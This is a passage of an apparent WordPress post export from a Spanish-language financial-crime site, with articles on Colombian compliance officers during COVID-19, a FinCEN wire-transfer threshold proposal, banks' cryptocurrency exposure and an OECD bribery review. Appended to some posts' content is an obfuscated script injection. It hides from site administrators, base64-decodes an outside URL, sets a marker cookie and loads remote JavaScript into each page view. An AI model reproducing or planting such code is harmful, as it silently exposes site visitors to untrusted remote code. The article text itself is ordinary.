path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 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reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la 